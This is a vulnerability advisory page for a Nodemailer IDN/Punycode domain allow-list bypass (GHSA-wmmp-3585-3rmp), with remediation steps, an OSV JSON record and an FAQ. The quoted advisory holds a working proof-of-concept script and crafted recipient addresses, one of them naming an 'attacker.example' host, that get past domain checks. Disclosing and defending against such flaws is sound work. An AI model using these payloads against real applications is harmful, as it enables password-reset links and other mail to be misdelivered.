GHSA-wmmp-3585-3rmp: Nodemailer IDN/Punycode Domain Allow-list Bypass Leads Vulnerability

MODERATE
CVSS 6.5
CWE-436 CWE-20
Published
Advisory Summary

GHSA-wmmp-3585-3rmp is a MODERATE (CVSS 6.5) idn/punycode domain allow-list bypass leads vulnerability (CWE-436: Interpretation Conflict) affecting Nodemailer libraries in the npm ecosystem. The issue involves idn/punycode domain allow-list bypass leads to email delivery to an attacker-controlled domain. Remediation is available by upgrading affected packages to version 9.1.0.

GHSA-wmmp-3585-3rmp at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-wmmp-3585-3rmp
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-436: Interpretation Conflict
Affected Product Nodemailer
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix GHSA-wmmp-3585-3rmp

To remediate this vulnerability, upgrade all affected Nodemailer dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

nodemailer fixed: 9.1.0
npm install nodemailer@9.1.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls nodemailer

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-wmmp-3585-3rmp, inspect your project dependencies using npm:

npm ls nodemailer

Analyze the terminal output to locate any version of Nodemailer in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 9.1.0), your application is affected.

Note: The npm ls nodemailer command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-436: Interpretation Conflict, where product a handles inputs or steps differently than product b, which causes a to perform incorrect actions based on its perception of b's state. In Nodemailer, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Nodemailer resolves an international (IDN / non-ASCII) recipient **domain** to a different Punycode `xn--` label than every UTS‑46‑conformant parser (web browsers, the WHATWG URL Standard, Node's `url.domainToASCII`, Python's `idna`). Its address normalizer (`_normalizeAddress` in `lib/mime-node/index.js`) uses the bundled **raw RFC‑3492 Punycode codec with no UTS‑46 mapping/normalization**, so a domain that a standards‑compliant validator maps to a trusted domain is delivered by Nodemailer to a **different, attacker‑registrable domain**. An application that applies a domain allow‑list / same‑domain check to a recipient using a normal IDN‑aware parser (or that shows the normalized recipient to a user for confirmation) and then relies on Nodemailer to deliver to that domain can be induced to send email to an **unintended external domain**. This is the same weakness class as CVE‑2025‑13033 (Interpretation Conflict, CWE‑436) but reached through IDN/Punycode rather than quoted local‑parts, and it is not addressed by the 7.0.7 fix. Because the mismatch can be triggered with an **invisible** character (U+00AD SOFT HYPHEN) that UTS‑46 folds away to the *exact* trusted domain string, no visible look‑alike/homograph is required. ### Details `lib/mime-node/index.js` → `_normalizeAddress(address)` (around lines 1307–1346) splits the address at the last `@` and normalizes the domain like this: ```js // lib/mime-node/index.js try { if (/[\x80-￿]/.test(user)) { encodedDomain = punycode.toUnicode(domain.toLowerCase()); // line ~1338 } else { encodedDomain = punycode.toASCII(domain.toLowerCase()); // line ~1340 } } catch (_err) { // keep domain as supplied } return `${this._normalizeLocalPart(user)}@${encodedDomain}`; // line ~1346 ``` `punycode` here is the project’s bundled codec (`lib/punycode/`), which is a **pure RFC 3492 (Punycode) implementation**. The only normalization applied to the domain is `.toLowerCase()`. It performs **none of the UTS‑46 “IDNA2008 + compatibility processing” steps** that browsers and DNS‑facing resolvers apply before Punycode encoding, specifically: * removing **Ignored** code points such as `U+00AD` SOFT HYPHEN, * **Mapping** full‑width / compatibility characters to their canonical ASCII forms, * Unicode **NFC** normalization, * validity checks. As a result, for any domain containing a UTS‑46‑mapped or ‑ignored character, Nodemailer’s `punycode.toASCII(...)` produces a **different A‑label** than `url.domainToASCII(...)` (Node ≥ 7 / WHATWG), `new URL('http://'+domain)`, browsers, and Python’s `idna` (`uts46=True`). Nodemailer then uses its A‑label as: * the SMTP envelope recipient written to the wire as `RCPT TO:<local@xn--…>` (`getEnvelope()` → `lib/smtp-connection/index.js` `_setEnvelope`), **and** * the address emitted in the `To:` / `From:` headers (`_convertAddresses`). So the domain a standards‑compliant validator computes and the domain Nodemailer actually delivers to **disagree**, on a syntactically valid, validator‑accepted address. Concrete divergences (verified on 9.0.6): | recipient (raw) | UTS‑46 parser (`url.domainToASCII`) | Nodemailer delivers to | |---|---|---| | `victim@compa{U+00AD}ny.com` (invisible soft hyphen) | `company.com` | `xn--company-pka.com` | | `victim@company.com` (full‑width) | `company.com` | `xn--mi7cd4afch9d.com` | | `user@exámple.com` (NFD `a`+U+0301) | `xn--exmple-qta.com` | `xn--example-vge.com` | This is the “Punycode / IDN parser discrepancy” technique documented in PortSwigger’s *Splitting the email atom* research (which produced e.g. Joomla CVE‑2024‑21725 and fixes in the PHP `idna_convert` library). The fix for CVE‑2025‑13033 (nodemailer 7.0.7) hardened the *quoted‑local‑part* path only; this IDN path is independent and still present in **9.0.6 (latest)** and, given the long‑standing use of the bundled RFC‑3492 codec, earlier releases. **Suggested remediation:** perform UTS‑46 processing before/at domain encoding so Nodemailer’s resolution matches browsers, validators, and DNS — e.g. use the runtime’s `url.domainToASCII()` (available since Node 7) instead of the raw `punycode.toASCII`, and decode with the matching UTS‑46 `domainToUnicode`. At minimum, reject a domain whose value changes under UTS‑46 mapping (i.e. `punycode.toASCII(d)` ≠ `url.domainToASCII(d)`). ### PoC Environment: Node.js ≥ 18, the published `nodemailer@9.0.6`. No special configuration; the discrepancy is in domain normalization itself. `poc-idn.js`: ```js 'use strict'; const net = require('net'); const url = require('url'); const nodemailer = require('nodemailer'); // 9.0.6 const TRUSTED = 'company.com'; // the only domain the app will mail const RECIPIENT = 'victim@compa\u00ADny.com'; // attacker input: invisible U+00AD inside "company" // The app's domain allow-list check, done the standard (UTS-46 / browser / WHATWG) way: const seen = url.domainToASCII(RECIPIENT.split('@').pop()); console.log('validator (url.domainToASCII) sees:', JSON.stringify(seen), seen === TRUSTED ? '=> ALLOWED (equals trusted domain)' : ''); // A tiny SMTP sink that prints the literal RCPT TO Nodemailer transmits: const server = net.createServer(sock => { let buf = ''; sock.write('220 sink\r\n'); sock.on('data', d => { buf += d; let i; while ((i = buf.indexOf('\r\n')) >= 0) { const line = buf.slice(0, i); buf = buf.slice(i + 2); const u = line.toUpperCase(); if (u.startsWith('EHLO')) sock.write('250-sink\r\n250 8BITMIME\r\n'); else if (u.startsWith('RCPT')) { console.log('nodemailer transmits :', line); sock.write('250 ok\r\n'); } else if (u.startsWith('DATA')) sock.write('354 go\r\n'); else if (line === '.') sock.write('250 ok\r\n'); else if (u.startsWith('QUIT')) { sock.write('221 bye\r\n'); sock.end(); } else sock.write('250 ok\r\n'); } }); }); server.listen(0, '127.0.0.1', async () => { const t = nodemailer.createTransport({ host: '127.0.0.1', port: server.address().port, secure: false }); await t.sendMail({ from: 'app@company.com', to: RECIPIENT, subject: 'reset your password', text: 'secret link' }); t.close(); server.close(); }); ``` Run: ``` npm init -y && npm install nodemailer@9.0.6 node poc-idn.js ``` Actual output (Nodemailer 9.0.6): ``` validator (url.domainToASCII) sees: "company.com" => ALLOWED (equals trusted domain) nodemailer transmits : RCPT TO:<victim@xn--company-pka.com> ``` The application’s domain check approves `company.com`, but the message is sent to `xn--company-pka.com` — a **different domain an attacker can register** — carrying the `To:` header `<victim@xn--company-pka.com>` as well. A containerized version that proves the same result against a **real RFC 5321 SMTP server** (`aiosmtpd`) is included alongside this report (`docker compose up --build`, cases `R6`/IDN); the receiving server accepts `RCPT TO:<victim@xn--company-pka.com>` and reports the recipient domain as `xn--company-pka.com`. ### Impact Any application that uses Nodemailer to send mail to a recipient whose domain is subjected to a security or trust decision made with a *different* (UTS‑46‑conformant) parser, and then trusts Nodemailer to deliver to that domain. This includes: * recipient **allow‑list / block‑list / “same corporate domain” checks** implemented with `new URL()`, `url.domainToASCII`, a browser‑side check, or an IDN library; * flows that **display or log the normalized recipient domain** for human confirmation (the shown `company.com` differs from the delivered `xn--company-pka.com`); * any domain‑gated feature (employee‑only registration, “send only to our tenant”, notification routing). ## Patched in 9.1.0 Domain encoding now applies UTS-46 ([259c32d](https://github.com/nodemailer/nodemailer/commit/259c32d)), so `victim@compa­ny.com` resolves to `company.com`, matching `url.domainToASCII` and browsers. One caveat on the suggested remediation, hardened in [b212ac4](https://github.com/nodemailer/nodemailer/commit/b212ac4): `url.domainToASCII` is a WHATWG **host parser**, not a pure UTS-46 mapper. It terminates the host at `/`, `\\`, `?` and `#` and percent-decodes. Used unguarded it introduces a worse version of the same weakness, since `user@attacker.example/mail.corp.example` encodes to the deliverable `user@attacker.example` where the bundled Punycode codec left it intact and unroutable. Those characters are now kept away from the mapper. On severity, "attacker-registrable" is doing significant work in the report: `xn--company-pka.com` decodes to a label containing U+00AD and `xn--mi7cd4afch9d.com` to full-width Latin, neither of which Verisign's IDN tables permit for a .com registration. The misdelivery and the confirmation-UI mismatch stand regardless, which is why this is rated level with the comment issue rather than above it.

GHSA-wmmp-3585-3rmp Affected Nodemailer Versions

1 component(s)
Fixed Versions:
9.1.0
Product / Package Ecosystem Affected Versions Fixed Version
nodemailer
npm
< 9.1.0
9.1.0

References

Frequently Asked Questions

What is GHSA-wmmp-3585-3rmp?
GHSA-wmmp-3585-3rmp is a security vulnerability in Nodemailer involving IDN/Punycode domain allow-list bypass leads to email delivery to an attacker-controlled domain under CWE-436: Interpretation Conflict.
Which Nodemailer versions are affected?
Affected versions include releases prior to 9.1.0 across affected packages: nodemailer.
What version fixes GHSA-wmmp-3585-3rmp?
Upgrading to 9.1.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is nodemailer affected?
Yes, nodemailer is affected in releases prior to 9.1.0. Upgrade your dependency to 9.1.0 or later.
What is the CVSS score of GHSA-wmmp-3585-3rmp?
GHSA-wmmp-3585-3rmp has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N.
What CWE is associated with GHSA-wmmp-3585-3rmp?
GHSA-wmmp-3585-3rmp is classified under CWE-436: Interpretation Conflict (Product A handles inputs or steps differently than Product B, which causes A to perform incorrect actions based on its perception of B's state.).
How can I check npm dependencies for GHSA-wmmp-3585-3rmp?
Run the dependency tree command: 'npm ls nodemailer'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wmmp-3585-3rmp",
  "modified" : "2026-09-08T21:33:32Z",
  "published" : "2026-09-08T21:33:32Z",
  "aliases" : [ ],
  "summary" : "Nodemailer: IDN/Punycode domain allow-list bypass leads to email delivery to an attacker-controlled domain",
  "details" : "### Summary\n\nNodemailer resolves an international (IDN / non-ASCII) recipient **domain** to a different Punycode `xn--` label than every UTS‑46‑conformant parser (web browsers, the WHATWG URL Standard, Node's `url.domainToASCII`, Python's `idna`). Its address normalizer (`_normalizeAddress` in `lib/mime-node/index.js`) uses the bundled **raw RFC‑3492 Punycode codec with no UTS‑46 mapping/normalization**, so a domain that a standards‑compliant validator maps to a trusted domain is delivered by Nodemailer to a **different, attacker‑registrable domain**.\n\nAn application that applies a domain allow‑list / same‑domain check to a recipient using a normal IDN‑aware parser (or that shows the normalized recipient to a user for confirmation) and then relies on Nodemailer to deliver to that domain can be induced to send email to an **unintended external domain**. This is the same weakness class as CVE‑2025‑13033 (Interpretation Conflict, CWE‑436) but reached through IDN/Punycode rather than quoted local‑parts, and it is not addressed by the 7.0.7 fix.\n\nBecause the mismatch can be triggered with an **invisible** character (U+00AD SOFT HYPHEN) that UTS‑46 folds away to the *exact* trusted domain string, no visible look‑alike/homograph is required.\n\n### Details\n\n`lib/mime-node/index.js` → `_normalizeAddress(address)` (around lines 1307–1346) splits the address at the last `@` and normalizes the domain like this:\n\n```js\n// lib/mime-node/index.js\ntry {\n    if (/[\\x80-￿]/.test(user)) {\n        encodedDomain = punycode.toUnicode(domain.toLowerCase());   // line ~1338\n    } else {\n        encodedDomain = punycode.toASCII(domain.toLowerCase());     // line ~1340\n    }\n} catch (_err) {\n    // keep domain as supplied\n}\nreturn `${this._normalizeLocalPart(user)}@${encodedDomain}`;         // line ~1346\n```\n\n`punycode` here is the project’s bundled codec (`lib/punycode/`), which is a **pure RFC 3492 (Punycode) implementation**. The only normalization applied to the domain is `.toLowerCase()`. It performs **none of the UTS‑46 “IDNA2008 + compatibility processing” steps** that browsers and DNS‑facing resolvers apply before Punycode encoding, specifically:\n\n* removing **Ignored** code points such as `U+00AD` SOFT HYPHEN,\n* **Mapping** full‑width / compatibility characters to their canonical ASCII forms,\n* Unicode **NFC** normalization,\n* validity checks.\n\nAs a result, for any domain containing a UTS‑46‑mapped or ‑ignored character, Nodemailer’s `punycode.toASCII(...)` produces a **different A‑label** than `url.domainToASCII(...)` (Node ≥ 7 / WHATWG), `new URL('http://'+domain)`, browsers, and Python’s `idna` (`uts46=True`). Nodemailer then uses its A‑label as:\n\n* the SMTP envelope recipient written to the wire as `RCPT TO:<local@xn--…>` (`getEnvelope()` → `lib/smtp-connection/index.js` `_setEnvelope`), **and**\n* the address emitted in the `To:` / `From:` headers (`_convertAddresses`).\n\nSo the domain a standards‑compliant validator computes and the domain Nodemailer actually delivers to **disagree**, on a syntactically valid, validator‑accepted address. Concrete divergences (verified on 9.0.6):\n\n| recipient (raw) | UTS‑46 parser (`url.domainToASCII`) | Nodemailer delivers to |\n|---|---|---|\n| `victim@compa{U+00AD}ny.com` (invisible soft hyphen) | `company.com` | `xn--company-pka.com` |\n| `victim@company.com` (full‑width) | `company.com` | `xn--mi7cd4afch9d.com` |\n| `user@exámple.com` (NFD `a`+U+0301) | `xn--exmple-qta.com` | `xn--example-vge.com` |\n\nThis is the “Punycode / IDN parser discrepancy” technique documented in PortSwigger’s *Splitting the email atom* research (which produced e.g. Joomla CVE‑2024‑21725 and fixes in the PHP `idna_convert` library). The fix for CVE‑2025‑13033 (nodemailer 7.0.7) hardened the *quoted‑local‑part* path only; this IDN path is independent and still present in **9.0.6 (latest)** and, given the long‑standing use of the bundled RFC‑3492 codec, earlier releases.\n\n**Suggested remediation:** perform UTS‑46 processing before/at domain encoding so Nodemailer’s resolution matches browsers, validators, and DNS — e.g. use the runtime’s `url.domainToASCII()` (available since Node 7) instead of the raw `punycode.toASCII`, and decode with the matching UTS‑46 `domainToUnicode`. At minimum, reject a domain whose value changes under UTS‑46 mapping (i.e. `punycode.toASCII(d)` ≠ `url.domainToASCII(d)`).\n\n### PoC\n\nEnvironment: Node.js ≥ 18, the published `nodemailer@9.0.6`. No special configuration; the discrepancy is in domain normalization itself.\n\n`poc-idn.js`:\n\n```js\n'use strict';\nconst net = require('net');\nconst url = require('url');\nconst nodemailer = require('nodemailer'); // 9.0.6\n\nconst TRUSTED   = 'company.com';                        // the only domain the app will mail\nconst RECIPIENT = 'victim@compa\\u00ADny.com';           // attacker input: invisible U+00AD inside \"company\"\n\n// The app's domain allow-list check, done the standard (UTS-46 / browser / WHATWG) way:\nconst seen = url.domainToASCII(RECIPIENT.split('@').pop());\nconsole.log('validator (url.domainToASCII) sees:', JSON.stringify(seen),\n            seen === TRUSTED ? '=> ALLOWED (equals trusted domain)' : '');\n\n// A tiny SMTP sink that prints the literal RCPT TO Nodemailer transmits:\nconst server = net.createServer(sock => {\n  let buf = ''; sock.write('220 sink\\r\\n');\n  sock.on('data', d => { buf += d; let i;\n    while ((i = buf.indexOf('\\r\\n')) >= 0) { const line = buf.slice(0, i); buf = buf.slice(i + 2);\n      const u = line.toUpperCase();\n      if (u.startsWith('EHLO')) sock.write('250-sink\\r\\n250 8BITMIME\\r\\n');\n      else if (u.startsWith('RCPT')) { console.log('nodemailer transmits             :', line); sock.write('250 ok\\r\\n'); }\n      else if (u.startsWith('DATA')) sock.write('354 go\\r\\n');\n      else if (line === '.') sock.write('250 ok\\r\\n');\n      else if (u.startsWith('QUIT')) { sock.write('221 bye\\r\\n'); sock.end(); }\n      else sock.write('250 ok\\r\\n'); } });\n});\nserver.listen(0, '127.0.0.1', async () => {\n  const t = nodemailer.createTransport({ host: '127.0.0.1', port: server.address().port, secure: false });\n  await t.sendMail({ from: 'app@company.com', to: RECIPIENT, subject: 'reset your password', text: 'secret link' });\n  t.close(); server.close();\n});\n```\n\nRun:\n\n```\nnpm init -y && npm install nodemailer@9.0.6\nnode poc-idn.js\n```\n\nActual output (Nodemailer 9.0.6):\n\n```\nvalidator (url.domainToASCII) sees: \"company.com\" => ALLOWED (equals trusted domain)\nnodemailer transmits             : RCPT TO:<victim@xn--company-pka.com>\n```\n\nThe application’s domain check approves `company.com`, but the message is sent to `xn--company-pka.com` — a **different domain an attacker can register** — carrying the `To:` header `<victim@xn--company-pka.com>` as well.\n\nA containerized version that proves the same result against a **real RFC 5321 SMTP server** (`aiosmtpd`) is included alongside this report (`docker compose up --build`, cases `R6`/IDN); the receiving server accepts `RCPT TO:<victim@xn--company-pka.com>` and reports the recipient domain as `xn--company-pka.com`.\n\n### Impact\n\nAny application that uses Nodemailer to send mail to a recipient whose domain is subjected to a security or trust decision made with a *different* (UTS‑46‑conformant) parser, and then trusts Nodemailer to deliver to that domain. This includes:\n  * recipient **allow‑list / block‑list / “same corporate domain” checks** implemented with `new URL()`, `url.domainToASCII`, a browser‑side check, or an IDN library;\n  * flows that **display or log the normalized recipient domain** for human confirmation (the shown `company.com` differs from the delivered `xn--company-pka.com`);\n  * any domain‑gated feature (employee‑only registration, “send only to our tenant”, notification routing).\n\n## Patched in 9.1.0\n\nDomain encoding now applies UTS-46 ([259c32d](https://github.com/nodemailer/nodemailer/commit/259c32d)), so `victim@compa­ny.com` resolves to `company.com`, matching `url.domainToASCII` and browsers.\n\nOne caveat on the suggested remediation, hardened in [b212ac4](https://github.com/nodemailer/nodemailer/commit/b212ac4): `url.domainToASCII` is a WHATWG **host parser**, not a pure UTS-46 mapper. It terminates the host at `/`, `\\\\`, `?` and `#` and percent-decodes. Used unguarded it introduces a worse version of the same weakness, since `user@attacker.example/mail.corp.example` encodes to the deliverable `user@attacker.example` where the bundled Punycode codec left it intact and unroutable. Those characters are now kept away from the mapper.\n\nOn severity, \"attacker-registrable\" is doing significant work in the report: `xn--company-pka.com` decodes to a label containing U+00AD and `xn--mi7cd4afch9d.com` to full-width Latin, neither of which Verisign's IDN tables permit for a .com registration. The misdelivery and the confirmation-UI mismatch stand regardless, which is why this is rated level with the comment issue rather than above it.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "nodemailer"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "9.1.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-wmmp-3585-3rmp"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nodemailer/nodemailer/pull/1848"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nodemailer/nodemailer/commit/259c32d7d266301e3377a212776c3fff993c0148"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nodemailer/nodemailer/commit/b212ac4e27bce8182478044fcb8d1642ccdad46e"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nodemailer/nodemailer"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nodemailer/nodemailer/releases/tag/v9.1.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20", "CWE-436" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-08T21:33:32Z",
    "nvd_published_at" : null
  }
}